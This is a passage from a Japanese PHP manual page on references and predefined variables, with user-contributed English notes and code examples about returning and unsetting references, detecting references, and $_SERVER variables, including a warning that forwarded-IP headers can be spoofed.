    public function setValue($val) {
        $this->value = $val;
    }
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue is a reference to $obj->value, which is 1.
echo $obj->getValue();  // 1
echo $myValue; // 1
$obj->setValue(5);
echo $obj->getValue();  // 5
echo $myValue; // 5
$myValue = 1000;
echo $obj->getValue();  // 1000
echo $myValue; // 1000
?>
fabian dot picone at gmail dot com 14-Aug-2018 09:00
This note seems not to apply with PHP 7:

"Note: If you try to return a reference from a function with the syntax: return ($this->value); this will not work as you are attempting to return the result of an expression, and not a variable, by reference. You can only return variables by reference from a function - nothing else. Since PHP 5.1.0, an E_NOTICE error is issued if the code tries to return a dynamic expression or a result of the new operator."

Bug following code works without error output. Same result as i would not have braces around $this-value.

<?php

class foo {
    public $value = 42;

    public function &getValue() {
        return ($this->value);
    }
}

$obj = new foo;
$myValue = &$obj->getValue();
$obj->value = 2;
echo $myValue;
civilization28 at gmail dot com 17-Sep-2014 01:49
Zayfod's example above is useful, but I feel that it needs more explanation. The point that should be made is that a parameter passed in by reference can be changed to reference something else, resulting in later changes to the local variable not affecting the passed in variable:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();    # Here the reference is changed and
                                           # the "&" in "func_a (& $param)"
                                           # is no longer in effect at all.
    # $param is 2 here
    $param++;    # Has no effect on $var.
}

$var = 1;
func_a($var);
# $var is still 1 here!!!    Because the reference was changed.

?>
Anonymous 05-Mar-2014 04:18
I learned a painful lesson working with a class method that would pass by reference.

In short, if you have a method in a class that is initialed with ampersand during declaration, do not use another ampersand when using the method as in &$this->method();

For example
<?php
class A {
    public function &hello(){
        static $a='';
        return $a;
    }
    public function bello(){
        $b=&$this->hello();  // incorrect. Do not use ampersand.
        $b=$this->hello();  // $b is a reference  to the static variable.
}
?>
benjamin dot delespierre at gmail dot com 23-Feb-2011 05:36
Keep in mind that returning by reference doesn't work with __callStatic:

<?php
class Test {
  private static $_inst;
  public static function & __callStatic ($name, $args) {
    if (!isset(static::$_inst)){
      echo "create";
      static::$_inst = (object)"test";
   }
   return static::$_inst;
}

var_dump($a = &Test::abc()); // prints 'create'
$a = null;
var_dump(Test::abc()); // doesn't prints and the instance still exists in Test::$_inst
?>
szymoncofalik at gmail dot com 28-Jan-2011 12:41
Sometimes, you would like to return NULL with a function returning reference, to indicate the end of chain of elements. However this generates E_NOTICE. Here is little tip, how to prevent that:

<?php
class Foo {
   const $nullGuard = NULL;
   // ... some declarations and definitions
   public function &next() {
      // ...
      if (!$end) return $bar;
      else return $this->nullGuard;
   }
}
?>

by doing this you can do smth like this without notices:

<?php
$f = new Foo();
// ...
while (($item = $f->next()) != NULL) {
// ...
}
?>

you may also use global variable:
global $nullGuard;
return $nullGuard;
spidgorny at gmail dot com 19-Mar-2010 06:18
When returning reference to the object member which is instantiated inside the function, the object is destructed upon returning (which is a problem). It's easier to see the code:

<?php

class MemcacheArray {
    public $data;

    ...

    /**
     * Super-clever one line cache reading AND WRITING!
     * Usage $data = &MemcacheArray::getData(__METHOD__);
     * Hopefully PHP will know that $this->data is still used
     * and will call destructor after data changes.
     * Ooops, it's not the case.
     *
     * @return unknown
     */
    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        return $o->data;
    }
?>

Here, destructor is called upon return() and the reference becomes a normal variable.

My solution is to store objects in a pool until the final exit(), but I don't like it. Any other ideas?

<?php
    protected static $instances = array();

    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        self::$instances[$file] = $o; // keep object from destructing too early
        return $o->data;
    }
?>
sandaimespaceman at gmail dot com 02-Nov-2008 08:52
The &b() function returns a reference of $a in the global scope.

<?php
$a = 0;
function &b()
{
    global $a;
    return $a;
}
$c = &b();
$c++;
echo
"
\$a: $a
\$b: $c
"
?>

It outputs:

$a: 1 $b: 1
Spad-XIII 31-Jan-2008 05:01
a little addition to the example of pixel at minikomp dot com here below
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1; // 1
    func();
    func();
    echo "var1:", $var1; // 3
    $var2 = func(); // assignment without the &
    echo "var2:", $var2; // 4
    func();
    func();
    echo "var1:", $var1; // 6
    echo "var2:", $var2; // still 4

?>
pixel at minikomp dot com 30-Dec-2007 04:21
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var =& func();
    echo $var; // 1
    func();
    func();
    func();
    func();
    echo $var; // 5

?>
stanlemon at mac dot com 28-Sep-2007 10:51
I haven't seen anyone note method chaining in PHP5.  When an object is returned by a method in PHP5 it is returned by default as a reference, and the new Zend Engine 2 allows you to chain method calls from those returned objects.  For example consider this code:

<?php

class Foo {

    protected $bar;

    public function __construct() {
        $this->bar = new Bar();

        print "Foo\n";
    }

    public function getBar() {
        return $this->bar;
    }
}

class Bar {

    public function __construct() {
        print "Bar\n";
    }

    public function helloWorld() {
        print "Hello World\n";
    }
}

function test() {
    return new Foo();
}

test()->getBar()->helloWorld();

?>

Notice how we called test() which was not on an object, but returned an instance of Foo, followed by a method on Foo, getBar() which returned an instance of Bar and finally called one of its methods helloWorld().  Those familiar with other interpretive languages (Java to name one) will recognize this functionality.  For whatever reason this change doesn't seem to be documented very well, so hopefully someone will find this helpful.
php at thunder-2000 dot com 02-Feb-2007 02:31
If you want to get a part of an array to manipulate, you can use this function

function &getArrayField(&$array,$path) {
  if (!empty($path)) {
    if (empty($array[$path[0]])) return NULL;
    else return getArrayField($array[$path[0]], array_slice($path, 1));
  } else {
    return $array;
  }
}

Use it like this:

$partArray =& getArrayField($GLOBALS,array("config","modul1"));

You can manipulate $partArray and the changes are also made with $GLOBALS.
rwruck 27-Feb-2006 09:22
The note about using parentheses when returning references is only true if the variable you try to return does not already contain a reference.

<?php
// Will return a reference
function& getref1()
  {
  $ref =& $GLOBALS['somevar'];
  return ($ref);
  }

// Will return a value (and emit a notice)
function& getref2()
  {
  $ref = 42;
  return ($ref);
  }

// Will return a reference
function& getref3()
  {
  static $ref = 42;
  return ($ref);
  }
?>
willem at designhulp dot nl 09-Oct-2005 04:54
There is an important difference between php5 and php4 with references.

Lets say you have a class with a method called 'get_instance' to get a reference to an exsisting class and it's properties.

<?php
class mysql {
    function get_instance(){
        // check if object exsists
        if(empty($_ENV['instances']['mysql'])){
            // no object yet, create an object
            $_ENV['instances']['mysql'] = new mysql;
        }
        // return reference to object
        $ref = &$_ENV['instances']['mysql'];
        return $ref;
    }
}
?>

Now to get the exsisting object you can use
mysql::get_instance();

Though this works in php4 and in php5, but in php4 all data will be lost as if it is a new object while in php5 all properties in the object remain.
obscvresovl at NOSPAM dot hotmail dot com 24-Dec-2004 01:09
An example of returning references:

<?

$var = 1;
$num = NULL;

function &blah()
{
    $var =& $GLOBALS["var"]; # the same as global $var;
    $var++;
    return $var;
}

$num = &blah();

echo $num; # 2

blah();

echo $num; # 3

?>

Note: if you take the & off from the function, the second echo will be 2, because without & the var $num contains its returning value and not its returning reference.
hawcue at yahoo dot com 16-Mar-2004 07:58
Be careful when using tinary operation condition?value1:value2

See the following code:

$a=1;
function &foo()
{
  global $a;
  return isset($a)?$a:null;
}
$b=&foo();
echo $b;   // shows 1
$b=2;
echo $a;   // shows 1 (not 2! because $b got a copy of $a)

To let $b be a reference to $a, use "if..then.." in the function.
contact at infopol dot fr 12-Feb-2004 09:36
A note about returning references embedded in non-reference arrays :

<?
$foo;

function bar () {
    global $foo;
    $return = array();
    $return[] =& $foo;
    return $return;
}

$foo = 1;
$foobar = bar();
$foobar[0] = 2;
echo $foo;
?>

results in "2" because the reference is copied (pretty neat).
zayfod at yahoo dot com 03-Dec-2003 09:23
There is a small exception to the note on this page of the documentation. You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference.

Consider the following two exaples:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is still 1 here!!!

?>

The second example works as intended:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is 2 here as intended

?>

(Experienced with PHP 4.3.0)


リファレンスの解除

リファレンスを解除することは、ちょうど変数名と変数の内容の結合を 解除することに相当します。これは、変数の内容が破棄されることを 意味しません。例えば、

<?php
$a = 1;
$b =& $a;
unset($a);
?>
は、$b を削除せず、$a のみを 削除します。

ここでも、Unix の unlink コールと類似したものと 考えると便利です。

User Contributed Notes

ojars26 at NOSPAM dot inbox dot lv 03-May-2008 07:41
Simple look how PHP Reference works
<?php
/* Imagine this is memory map
 ______________________________
|pointer | value | variable              |
 -----------------------------------
|   1     |  NULL  |         ---           |
|   2     |  NULL  |         ---           |
|   3     |  NULL  |         ---           |
|   4     |  NULL  |         ---           |
|   5     |  NULL  |         ---           |
------------------------------------
Create some variables   */
$a=10;
$b=20;
$c=array ('one'=>array (1, 2, 3));
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  10     |       $a               |
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |      $c['one'][2]   |
------------------------------------
do  */
$a=&$c['one'][2];
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  NULL  |       ---              |  //value of  $a is destroyed and pointer is free
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |  $c['one'][2]  ,$a | // $a is now here
------------------------------------
do  */
$b=&$a;  // or  $b=&$c['one'][2]; result is same as both "$c['one'][2]" and "$a" is at same pointer.
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |  //value of  $b is destroyed and pointer is free
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |$c['one'][2]  ,$a , $b |  // $b is now here
---------------------------------------
next do */
unset($c['one'][2]);
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | // $c['one'][2]  is  destroyed not in memory, not in array
---------------------------------------
next do   */
$c['one'][2]=500;    //now it is in array
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  500    |      $c['one'][2]       |  //created it lands on any(next) free pointer in memory
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | //this pointer is in use
---------------------------------------
lets tray to return $c['one'][2] at old pointer an remove reference $a,$b.  */
$c['one'][2]=&$a;
unset($a);
unset($b);
/* look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $c['one'][2]       | //$c['one'][2] is returned, $a,$b is destroyed
--------------------------------------- ?>
I hope this helps.
sony-santos at bol dot com dot br 05-Feb-2007 03:56
<?php
//if you do:

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = $c;
echo $a; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = &$c;
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$b = null;
echo $a; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($b);
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = $c;
echo $b; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = &$c;
echo $b; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$a = null;
echo $b; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($a);
echo $b; // shows "hihaha"
?>

I tested each case individually on PHP 4.3.10.
lazer_erazer 05-Sep-2006 04:02
Your idea about unsetting all referenced variables at once is right,
just a tiny note that you changed NULL with unset()...
again, unset affects only one name and NULL affects the data,
which is kept by all the three names...

<?php
$a = 1;
$b =& $a;
$b = NULL;
?>

This does also work!

<?php
$a = 1;
$b =& $a;
$c =& $b;
$b = NULL;
?>
donny at semeleer dot nl 13-Jul-2006 07:10
Here's an example of unsetting a reference without losing an ealier set reference

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
$foo = "I am Frank";       // Alter $foo and $bar because of the reference
echo $bar;                 // output: I am Frank
echo $foo;                 // output: I am Frank

$foobar = &$bar;           // create a new reference between $foobar and $bar
$foobar = "hello $foobar"; // alter $foobar and with that $bar and $foo
echo $foobar;              //output : hello I am Frank
unset($bar);               // unset $bar and destroy the reference
$bar = "dude!";            // assign $bar
/* even though the reference between $bar and $foo is destroyed, and also the
reference between $bar and $foobar is destroyed, there is still a reference
between $foo and $foobar. */
echo $foo;                 // output : hello I am Frank
echo $bar;                 // output : due!
?>
libi 24-Jan-2006 12:20
clerca at inp-net dot eu dot org
"
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

"

------------------------

NULL will not result in unseting the variables.
Its only change the value to "null" for all the variables.
becouse they all points to the same "part" in the memory.


リファレンスの適用範囲

PHP の多くの構文構造は、リファレンス機構を利用して実装されています。 このため、前記のリファレンス結合に関する事項はこれらの構造についても 適用されます。リファレンス渡しおよびリファレンスの返り値のような いくつかの構造について前節で記述されています。リファレンスを使用する 他の構造には次のものがあります。

global リファレンス

変数を global $var として宣言した場合、実際には グローバル変数へのリファレンスを作成したことになります。この意味は、 次の例と同じです。

<?php
$var =& $GLOBALS["var"];
?>

これは、例えば、$var を削除してもグローバル変数は 削除されないことを意味します。

User Contributed Notes

lutondatta at gmail dot com 06-Jan-2014 03:12
This is very useful in passing large arrays. If you do not pass the array by reference, you are creating another copy of the array in memory.
<?php
//Part 1
        $x = 40;
        $y = $x;
        $z =& $x;
        echo '$x is ' . $x . '<br />'; //Show 40
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 40
//Part 2
        $x = 50;
        echo '$x is ' . $x . '<br />'; //Show 50
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 50
?>
In part 2 value of $z will changes according to $x.
CodeWorX.ch 02-Aug-2011 01:38
here is an unconventional (and not very fast) way of detecting references within arrays:

<?php

    function is_array_reference ($arr, $key) {
        $isRef = false;
        ob_start();
        var_dump($arr);
        if (strpos(preg_replace("/[ \n\r]*/i", "", preg_replace("/( ){4,}.*(\n\r)*/i", "", ob_get_contents())), "[" . $key . "]=>&") !== false)
            $isRef = true;
        ob_end_clean();
        return $isRef;
    }

?>
Abimael Rodrguez Coln 26-Apr-2011 11:55
This is one way to check if is a reference
<?php
$a = 1;
$b =& $a;
$c = 2;
$d = 3;
$e = array($a);
function is_reference($var){
    $val = $GLOBALS[$var];
    $tmpArray = array();
    /**
     * Add keys/values without reference
     */
    foreach($GLOBALS as $k => $v){
        if(!is_array($v)){
            $tmpArray[$k] = $v;
        }
    }

    /**
     * Change value of rest variables
     */
    foreach($GLOBALS as $k => $v){
        if($k != 'GLOBALS'
            && $k != '_POST'
            && $k != '_GET'
            && $k != '_COOKIE'
            && $k != '_FILES'
            && $k != $var
            && !is_array($v)
        ){
            usleep(1);
            $GLOBALS[$k] = md5(microtime());
        }
    }

    $bool = $val != $GLOBALS[$var];

    /**
     * Restore defaults values
     */
    foreach($tmpArray as $k => $v){
        $GLOBALS[$k] = $v;
    }

    return $bool;
}
var_dump(is_reference('a'));
var_dump(is_reference('b'));
var_dump(is_reference('c'));
var_dump(is_reference('d'));
?>

This won't check if reference is inside a array.
BenBE at omorphia dot de 07-Jan-2007 11:37
Hi,

If you want to check if two variables are referencing each other (i.e. point to the same memory) you can use a function like this:

<?php

function same_type(&$var1, &$var2){
    return gettype($var1) === gettype($var2);
}

function is_ref(&$var1, &$var2) {
    //If a reference exists, the type IS the same
    if(!same_type($var1, $var2)) {
        return false;
    }

    $same = false;

    //We now only need to ask for var1 to be an array ;-)
    if(is_array($var1)) {
        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(array_key_exists($key, $var1));

        //The two variables differ in content ... They can't be the same
        if(array_key_exists($key, $var2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1[$key] =& $data;
        //There seems to be a modification ...
        if(array_key_exists($key, $var2)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1[$key]);
    } elseif(is_object($var1)) {
        //The same objects are required to have equal class names ;-)
        if(get_class($var1) !== get_class($var2)) {
            return false;
        }

        $obj1 = array_keys(get_object_vars($var1));
        $obj2 = array_keys(get_object_vars($var2));

        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(in_array($key, $obj1));

        //The two variables differ in content ... They can't be the same
        if(in_array($key, $obj2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1->$key =& $data;
        //There seems to be a modification ...
        if(isset($var2->$key)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1->$key);
    } elseif (is_resource($var1)) {
        if(get_resource_type($var1) !== get_resource_type($var2)) {
            return false;
        }

        return ((string) $var1) === ((string) $var2);
    } else {
        //Simple variables ...
        if($var1!==$var2) {
            //Data mismatch ... They can't be the same ...
            return false;
        }

        //To check for a reference of a variable with simple type
        //simply store its old value and check against modifications of the second variable ;-)

        do {
            $key = uniqid("is_ref_", true);
        } while($key === $var1);

        $tmp = $var1; //WE NEED A COPY HERE!!!
        $var1 = $key; //Set var1 to the value of $key (copy)
        $same = $var1 === $var2; //Check if $var2 was modified too ...
        $var1 = $tmp; //Undo our changes ...
    }

    return $same;
}

?>

Although this implementation is quite complete, it can't handle function references and some other minor stuff ATM.
This function is especially useful if you want to serialize a recursive array by hand.

The usage is something like:
<?php
$a = 5;
$b = 5;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b = $a;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b =& $a;
var_dump(is_ref($a, $b)); //true
echo "---\n";

$a = array();
var_dump(is_ref($a, $a)); //true

$a[] =& $a;
var_dump(is_ref($a, $a[0])); // true
echo "---\n";

$b = array(array());
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
echo "---\n";

$b = array();
$b[] = $b;
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
var_dump(is_ref($b[0], $b[0][0])); //true*
echo "---\n";

var_dump($a);
var_dump($b);

?>

* Please note the internal behaviour of PHP that seems to do the reference assignment BEFORE actually copying the variable!!! Thus you get an array containing a (different) recursive array for the last testcase, instead of an array containing an empty array as you could expect.

BenBE.
ludvig dot ericson at gmail dot com 27-Feb-2006 03:36
For the sake of clarity:

$this is a PSEUDO VARIABLE - thus not a real variable. ZE treats is in other ways then normal variables, and that means that some advanced variable-things won't work on it (for obvious reasons):

<?php
class Test {
    var $monkeys = 0;

    function doFoobar() {
        $var = "this";
        $$var->monkeys++; // Will fail on this line.
    }
}

$obj = new Test;
$obj->doFoobar(); // Will fail in this call.
var_dump($obj->monkeys); // Will return int(0) if it even reaches here.
?>
ksamvel at gmail dot com 10-Feb-2006 09:02
One may check reference to any object by simple operator==( object). Example:

<?php
  class A {}

  $oA1 = new A();

  $roA = & $oA1;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

  $oA2 = new A();
  $roA = & $roA2;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";
?>

Output:

roA and oA1 are same
roA and oA1 are not same

Current technique might be useful for caching in objects when inheritance is used and only base part of extended class should be copied (analog of C++: oB = oA):

<?php
class A {
  /* Any function changing state of A should set $bChanged to true */
  public function isChanged() { return $this->bChanged; }
  private $bChanged;
  //...
}

class B extends A {
// ...
  public function set( &$roObj) {
    if( $roObj instanceof A) {
      if( $this->roAObj == $roObj &&
          $roObj->isChanged()) {
        /* Object was not changed do not need to copy A part of B */
      } else {
        /* Copy A part of B */
        $this->roAObj = &$roObj;
      }
    }
  }

  private $roAObj;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 16-Dec-2005 08:41
*** WARNING about OBJECTS TRICKY REFERENCES ***
-----------------------------------------------
The use of references in the context of classes
and objects, though well defined in the documentation,
is somehow tricky, so one must be very careful when
using objects. Let's examine the following two
examples:

<?php
  class y {
    public $d;
  }

  $A = new y;
  $A->d = 18;
  echo "Object \$A before operation:\n";
  var_dump($A);

  $B = $A; // This is not an explicit (=&) reference assignment,
           // however, $A and $B refer to the same instance
           // though they are not equivalent names
  $C =& $A; // Explicit reference assignment, $A and $C refer to
            // the same instance and they have become equivalent
            // names of the same instance

  $B->d = 1234;

  echo "\nObject \$B after operation:\n";
  var_dump($B);
  echo "\nObject \$A implicitly modified after operation:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after operation:\n";
  var_dump($C);

  // Let's make $A refer to another instance
  $A = new y;
  $A->d = 25200;
  echo "\nObject \$B after \$A modification:\n";
  var_dump($B); // $B doesn't change
  echo "\nObject \$A after \$A modification:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after \$A modification:\n";
  var_dump($C); // $C changes as $A changes
?>

Thus, note the difference between assignments $X = $Y and $X =& $Y.
When $Y is anything but an object instance, the first assignment means
that $X will hold an independent copy of $Y, and the second, means that
$X and $Y will refer to the same thing, so they are tight together until
either $X or $Y is forced to refer to another thing. However, when $Y
happens to be an object instance, the semantic of $X = $Y changes and
becomes only slightly different to that of $X =& $Y, since in both
cases $X and $Y become references to the same object. See what this
example outputs:

Object $A before operation:
object(y)#1 (1) {
  ["d"]=>
  int(18)
}

Object $B after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $C implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $B after $A modification:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Object $C implicitly modified after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Let's review a SECOND EXAMPLE:
<?php
  class yy {
    public $d;
    function yy($x) {
      $this->d = $x;
    }
  }

  function modify($v)
  {
     $v->d = 1225;
  }

  $A = new yy(3);
  var_dump($A);
  modify($A);
  var_dump($A);
?>

Although, in general, a formal argument declared
as $v in the function 'modify' shown above, implies
that the actual argument $A, passed when calling
the function, is not modified, this is not the
case when $A is an object instance. See what the
example code outputs when executed:

object(yy)#3 (1) {
  ["d"]=>
  int(3)
}
object(yy)#3 (1) {
  ["d"]=>
  int(1225)
}
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Aug-2005 09:30
Sometimes an object's method returning a reference to itself is required. Here is a way to code it:

<?php
class MyClass {
  public $datum;
  public $other;

  function &MyRef($d) { // the method
    $this->datum = $d;
    return $this; // returns the reference
  }
}

$a = new MyClass;
$b = $a->MyRef(25); // creates the reference

echo "This is object \$a: \n";
print_r($a);
echo "This is object \$b: \n";
print_r($b);

$b->other = 50;

echo "This is object \$a, modified" .
     " indirectly by modifying ref \$b: \n";
print_r($a);
?>

This code outputs:
This is object $a:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $b:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $a, modified indirectly by modifying ref $b:
MyClass Object
(
    [datum] => 25
    [other] => 50
)


定義済の変数

PHP には定義済みの定数が多く用意されており、すべてのスクリプトで使用することができます。 外部から来る変数 や組み込みの環境変数、直近のエラーメッセージや最後に取得したヘッダなどのあらゆる内容が取得できます。

目次

  • スーパーグローバル — すべてのスコープで使用できる組み込みの変数
  • $GLOBALS — グローバルスコープで使用可能なすべての変数への参照
  • $_SERVER — サーバー情報および実行時の環境情報
  • $_GET — HTTP GET 変数
  • $_POST — HTTP POST 変数
  • $_FILES — HTTP ファイルアップロード変数
  • $_REQUEST — HTTP リクエスト変数
  • $_SESSION — セッション変数
  • $_ENV — 環境変数
  • $_COOKIE — HTTP クッキー
  • $php_errormsg — 直近のエラーメッセージ
  • $http_response_header — HTTP レスポンスヘッダ
  • $argc — スクリプトに渡された引数の数
  • $argv — スクリプトに渡された引数の配列

User Contributed Notes

dusted at dusted dot dk 15-Mar-2011 02:32
I use HTTP_X_FORWARDED_FOR because my webserver is behind a reverse proxy.
This can be made secure:
Configure the reverse proxy to block this field, and override it correctly.
Configure the apache server to only accept incoming connections from the reverse proxy.
autofei at gmail dot com 17-Jun-2010 05:57
if you try to run php through command line, for example: php.exe c:\AppServ\www\cron_cache.php. You better avoid to use $_SERVER['DOCUMENT_ROOT'], because it will return nothing. Instead, you can use dirname(__FILE__). The reason to use command line running php is set it as Windows Scheduled Tasks. I did not test under Linux environment, but might be same.
spamtrap at scottydm dot com 12-Feb-2008 06:15
I was a little frustrated by the fact that some of the _SERVER variables didn't seem to exist, so I did a bit of Googling and found the answer: many of these variables are supplied by the web server and not all web servers supply the same set of variables.

I found a comparison between Apache v1.3.29 and IIS v5.1 on this page: http://koivi.com/apache-iis-php-server-array.php Useful for those of us doing cross-platform development.

While running experiments with different browsers I noticed some of the HTTP_* variables come and go depending on the browser used, or in the case of Opera by diddling the "user mode" (the widget that lets you look at a page as text only, etc.). For example: in IE and Opera HTTP_KEEP_ALIVE was missing, but was present in Firefox and Mozilla, and when I fiddled with Opera's "user mode" I got somethings called HTTP_TE and HTTP_CACHE_CONTROL.

So, what you get is dependent on the web server AND the browser.

I did see one IIS supplied variable not on that list: REQUEST_TIME, which seems to be in Unix timestamp format.

While researching this I discovered there are plenty of people who have their phpinfo() page visible and indexed on a few search engines. For those who want to dig a bit deeper than that nice web page comparing Apache to IIS, looking at other peoples' phpinfo() pages could be useful. You get the version of PHP plus OS and web server they use, along with all the _SERVER variables. I found the highest percent of signal-to-noise by searching for "phpinfo()" (with the quotes) on Dogpile: http://www.dogpile.com/
php-net dot ucn dot extranet dot sys at dark-chiaki dot net 13-Dec-2007 08:40
In addition to mfyahya at gmail dot com (2007-06-07 03:33):

If You are working with the Apache module mod_rewrite and want to set some environment vars, the Apache manual says this vars could be accessed in CGI using $ENV{VAR}. In PHP You might want to write $_ENV['VAR'] to get the value of VAR, but You have to access if via $_SERVER, and in some different ways:

1. Example: .htaccess and example.php

RewriteEngine on
RewriteRule ^?var1=([^;]*);var2=([^;]*)$ \
 - [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['VAR1']."\r\n"
          .$_SERVER['VAR2']); ?>

2. Example: .htaccess and index.php

RewriteEngine on
RewriteRule ^index\.php$ - [L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['REDIRECT_VAR1']."\r\n"
          .$_SERVER['REDIRECT_VAR2']); ?>

Note: If any RewriteRule matches, an internal redirect than restarts (after the last defined rule, or immediately after the matched rule having a L-flag) checking the entire rule set again. For an internal redirect every defined VAR gets an 'REDIRECT_' prefix, i.e. VAR1 will be REDIRECT_VAR1, VAR2 will be REDIRECT_VAR2.

Of course, You can (additionally) redefine the original VAR:

RewriteEngine on
RewriteRule ^index\.php$ \
 - [E=VAR1:%{REDIRECT_VAR1},E=VAR2:%{REDIRECT_VAR2},L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

With this, You will have $_SERVER['REDIRECT_VAR*'] -and- $_SERVER['VAR*'].

***

The given examples are only for explanation, in any case they are not intended to fit Your needs. The "\<CRLF><SP>" in the .htaccess examples are only for display purpose, they should not occur in a real .htaccess file. The argument separator ';' in links can also be '&', but this may cause some trouble with HTML/XHTML. See the following pages for more information about this issue:
- http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2
- http://www.w3.org/QA/2005/04/php-session
Nicolae Namolovan 22-Nov-2007 11:49
SECURITY RISK !

Never ever trust the values that comes from $_SERVER.

HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, HTTP_FORWARDED_FOR, HTTP_FORWARDED, etc.. can be spoofed !

To get the ip of user, use only $_SERVER['REMOTE_ADDR'], otherwise the 'ip' of user can be easily changed by sending a HTTP_X_* header, so user can escape a ban or spoof a trusted ip.

Of course this is well know, but I don't see it mentioned in these notes..

If you use the ip only for tracking (not for any security features like banning or allow access to something by ip), you can also use HTTP_X_FORWARDED to get user's ip what are behind proxy.
jsan 19-Oct-2007 12:39
@White-Gandalf: one can control this behavior by setting:

UseCanonicalName On|Off

in their apache config (at least, on *ix platforms).

On => $_SERVER['SERVER_NAME'] is the ServerName var from either the global server or virtual host, whichever wraps the PHP app closest.

Off => Whatever was in the Host: header sent by the client.
danvasile at pentest dot ro 21-Mar-2007 12:22
If you have problems with $_SERVER['HTTPS'], especially if it returns no values at all you should check the results of phpinfo(). It might not be listed at all.
Here is a solution to check and change, if necessary, to ssl/https that will work in all cases:

